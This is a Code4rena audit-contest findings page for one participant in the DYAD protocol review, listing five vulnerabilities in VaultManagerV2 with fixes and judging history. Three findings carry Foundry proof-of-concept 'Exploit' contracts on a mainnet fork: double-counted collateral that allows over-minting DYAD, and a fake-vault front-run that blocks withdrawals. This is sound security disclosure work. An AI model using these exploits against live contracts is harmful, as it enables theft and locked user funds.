Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 46/183
Findings: 5
Award: $264.19
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L17-L308
The current implementation of VaultManagerV2 allows minting 1 DYAD with the backing of only $1
This breaks the most important invariant of the protocol: TVL > DYAD total supply
A user can add an exogenous vault as a kerosene vault, by calling addKerosene(id, address(exogenous_vault)), this results in double counting of user deposits for that exogenous_vault.
In the POC, we deposit 1 ETH when the price of ETH is $3000 and we can borrow 3000 DYAD and the collateral ratio remains 200% due to double counting.
forge test -f $ETH_RPC --mt test_Borrow_DYAD_AT_ONEx -vv
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {DNft} from "src/core/DNft.sol"; import {IVaultManager} from "src/interfaces/IVaultManager.sol"; import {IDyad} from "src/interfaces/IDyad.sol"; import {Licenser} from "src/core/Licenser.sol"; contract Exploit is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); // Liscensing the new vault manager in the vault manager liscenser vm.prank(Licenser(MAINNET_VAULT_MANAGER_LICENSER).owner()); Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); } function test_Borrow_DYAD_AT_ONEx() external { address ALICE = makeAddr("ALICE"); address LIQUIDATOR = makeAddr("LIQUIDATOR"); uint256 amount = 1e18; DNft dNft = DNft(MAINNET_DNFT); uint id = dNft.mintNft{value: 10 ether}(ALICE); uint256 ethPrice = 3000 * 1e8; vm.mockCall( address(contracts.ethVault), abi.encodeWithSelector(contracts.ethVault.assetPrice.selector), abi.encode(ethPrice) ); vm.mockCall( address(contracts.ethVault), abi.encodeWithSelector(contracts.ethVault.getUsdValue.selector), abi.encode(ethPrice * 1e10) ); vm.startPrank(ALICE); uint256 borrowAmount = ethPrice*1e10; // 3000e18 deal(MAINNET_WETH, ALICE, amount); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), amount); contracts.vaultManager.addKerosene(id, address(contracts.ethVault)); contracts.vaultManager.add(id, address(contracts.ethVault)); contracts.vaultManager.deposit(id, address(contracts.ethVault), amount); contracts.vaultManager.mintDyad(id, borrowAmount, ALICE); vm.stopPrank(); vm.mockCall( address(contracts.kerosineDenominator), abi.encodeWithSelector(contracts.kerosineDenominator.denominator.selector), abi.encode(3000e18) ); console.log("Collateral deposited: %s", amount * ethPrice / 1e8); console.log("DYAD Borrowed: %s", IERC20(MAINNET_DYAD).balanceOf(ALICE)); console.log("Collateral Ratio: %s", contracts.vaultManager.collatRatio(id)); } }
Manual
Revert if the vault is exogenous Vault in addKerosene function
Other
#0 - c4-pre-sort
2024-04-28T20:00:51Z
JustDravee marked the issue as duplicate of #966
#1 - c4-pre-sort
2024-04-29T08:37:27Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:46:20Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-29T11:20:22Z
koolexcrypto marked the issue as duplicate of #1133
#4 - c4-judge
2024-05-29T11:43:33Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Limbooo
Also found by: 0xabhay, 0xleadwizard, AM, ArmedGoose, Evo, HChang26, Infect3d, Jorgect, MiniGlome, SpicyMeatball, TheSchnilch, ahmedaghadi, favelanky, pontifex
238.0297 USDC - $238.03
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L119-L131 https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153
Bob can stop Alice from withdrawing their assets, by frontrunning them.
The vulnerability exists because of the combination of three things:
Now when Alice, tries to withdraw their funds Bob front-runs the transaction to deposit on behalf of the Alice ID into a fake vault, this sets idToBlockOfLastDeposit[Alice_id] to the current block, and now Alice's withdraw transaction fails indefinitely.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {DNft} from "src/core/DNft.sol"; import {IVaultManager} from "src/interfaces/IVaultManager.sol"; contract Exploit is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); } function test_DOS_user_Withdraw() external { address ALICE = makeAddr("ALICE"); address BOB = makeAddr("BOB"); uint256 amount = 1e18; DNft dNft = DNft(MAINNET_DNFT); uint id = dNft.mintNft{value: 10 ether}(ALICE); vm.startPrank(ALICE); deal(MAINNET_WETH, ALICE, amount); IERC20(MAINNET_WETH).approve(address(contracts.vaultManager), amount); contracts.vaultManager.add(id, address(contracts.ethVault)); contracts.vaultManager.deposit(id, address(contracts.ethVault), amount); vm.stopPrank(); vm.roll(block.number + 1); vm.startPrank(BOB); address fakeVault = address(new FakeVault()); contracts.vaultManager.deposit(id, fakeVault, amount); vm.stopPrank(); vm.startPrank(ALICE); vm.expectRevert(IVaultManager.DepositedInSameBlock.selector); contracts.vaultManager.withdraw(id, address(contracts.ethVault), amount, ALICE); vm.stopPrank(); } } contract FakeVault { function transferFrom(address, address, uint256) public returns (bool) { return true; } function asset() public view returns (IERC20) { return IERC20(address(this)); } fallback() external {} }
forge test --mc Exploit -f $ETH_RPC
By implementing idToBlockOfLastDeposit as vault aware, this way when a fake vault deposit happens it does not affect the legit vault.
mapping(uint id => mapping(address vault => uint blockNumber)) public idToBlockOfLastDeposit;
Invalid Validation
#0 - c4-pre-sort
2024-04-28T19:59:12Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:26:10Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:38:15Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:39:24Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:26:35Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:26:44Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-05T21:27:10Z
koolexcrypto marked the issue as not a duplicate
#7 - c4-judge
2024-05-05T21:27:20Z
koolexcrypto marked the issue as duplicate of #1266
#8 - c4-judge
2024-05-11T12:18:40Z
koolexcrypto marked the issue as satisfactory
#9 - c4-judge
2024-05-28T19:12:51Z
koolexcrypto marked the issue as duplicate of #930
🌟 Selected for report: Infect3d
Also found by: 0x486776, 0xAlix2, 0xleadwizard, 0xnilay, Abdessamed, ArmedGoose, Bauchibred, Bigsam, GalloDaSballo, HChang26, Myrault, OMEN, SBSecurity, T1MOH, ZanyBonzy, alix40, atoko, iamandreiski, jesjupyter, ke1caM, miaowu, peanuts, vahdrak1
17.2908 USDC - $17.29
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88-L228
The protocol can accrue debt in case of a sudden drop in the price of the asset or a big release of kerosene tokens from MAINNET_OWNER.
Liquidators are supposed to earn 20% as liquidation rewards, but if the CR drops to 1e18 (100%) or lower, the liquidators are given zero rewards for liquidation!
uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr);
Hence there are no incentives for the liquidator to liquidate a position like that and bad debt accrues on the protocol.
Manual
Maybe the DYAD burned from the liquidator can be decreased.
Other
#0 - c4-pre-sort
2024-04-28T10:09:43Z
JustDravee marked the issue as duplicate of #977
#1 - c4-pre-sort
2024-04-29T09:24:04Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-04T09:44:04Z
koolexcrypto changed the severity to QA (Quality Assurance)
#3 - c4-judge
2024-05-12T09:23:56Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-28T16:20:19Z
This previously downgraded issue has been upgraded by koolexcrypto
#5 - c4-judge
2024-05-28T16:21:27Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: dimulski
Also found by: 0xleadwizard, 0xlemon, Aamir, Al-Qa-qa, AvantGard, Bauchibred, Cryptor, DarkTower, Egis_Security, Giorgio, Maroutis, MrPotatoMagic, OMEN, Ocean_Sky, Ryonen, SBSecurity, Sabit, SpicyMeatball, Stefanov, T1MOH, Tigerfrake, WildSniper, atoko, bhilare_, darksnow, fandonov, grearlake, iamandreiski, igdbase, pontifex, web3km, xiao
4.8719 USDC - $4.87
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228
Positions that are small in size, don't offer enough rewards to the liquidator and hence will never be liquidated, accruing debt on the protocol.
Liquidators are paid 20% as rewards but this might not be enough in the combination of two conditions:
Ex:
Alice Puts 150 Dollars of ETH and borrows 100 Dollars of DYAD, now the price of ETH drops such that CR = 140%.
The liquidator earns 77% of the value of the Note. Now for a position of 150 Dollars, this will be $115! The liquidator will burn 100 Dollars of DYAD, and get a profit of 15 Dollars.
$15 can many times be less than the fees + operating cost of the liquidator
Manual
Restrict users having small collateral positions.
MEV
#0 - c4-pre-sort
2024-04-27T10:03:54Z
JustDravee marked the issue as duplicate of #1258
#1 - c4-pre-sort
2024-04-29T09:16:52Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-03T14:07:47Z
koolexcrypto changed the severity to QA (Quality Assurance)
#3 - c4-judge
2024-05-12T09:33:33Z
koolexcrypto marked the issue as grade-c
#4 - c4-judge
2024-05-21T10:41:20Z
koolexcrypto removed the grade
#5 - c4-judge
2024-05-21T10:41:35Z
koolexcrypto marked the issue as grade-c
#6 - c4-judge
2024-05-22T14:26:06Z
This previously downgraded issue has been upgraded by koolexcrypto
#7 - c4-judge
2024-05-22T14:29:57Z
koolexcrypto marked the issue as satisfactory
#8 - c4-judge
2024-05-28T20:06:35Z
koolexcrypto marked the issue as duplicate of #175
🌟 Selected for report: carrotsmuggler
Also found by: 0xAlix2, 0xSecuri, 0xleadwizard, 0xlemon, 0xtankr, 3th, Aamir, Abdessamed, Bauchibred, Circolors, Egis_Security, Evo, Hueber, Mahmud, SBSecurity, TheSavageTeddy, TheSchnilch, Tychai0s, alix40, bbl4de, btk, d3e4, ducanh2706, falconhoof, itsabinashb, ke1caM, lian886, n4nika, oakcobalt, pontifex, sashik_eth, steadyman, tchkvsky, zhuying
3.7207 USDC - $3.72
https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L88
Users can't add a kerosene vault
Calling addKerosene reverts with the VaultNotLicensed error
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {DNft} from "src/core/DNft.sol"; import {IVaultManager} from "src/interfaces/IVaultManager.sol"; import {IDyad} from "src/interfaces/IDyad.sol"; import {Licenser} from "src/core/Licenser.sol"; contract Exploit is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); // Liscensing the new vault manager in the vault manager liscenser vm.prank(Licenser(MAINNET_VAULT_MANAGER_LICENSER).owner()); Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(contracts.vaultManager)); } function test_Wrong_Vault_Liscensed() external { address ALICE = makeAddr("ALICE"); DNft dNft = DNft(MAINNET_DNFT); uint id = dNft.mintNft{value: 10 ether}(ALICE); vm.startPrank(ALICE); vm.expectRevert(IVaultManager.VaultNotLicensed.selector); contracts.vaultManager.addKerosene(id, address(contracts.unboundedKerosineVault)); vm.stopPrank(); } }
Add Kerosene vaults to the kerosene manager
Access Control
#0 - c4-pre-sort
2024-04-28T19:58:59Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T09:37:38Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T20:00:48Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:36:27Z
koolexcrypto changed the severity to 2 (Med Risk)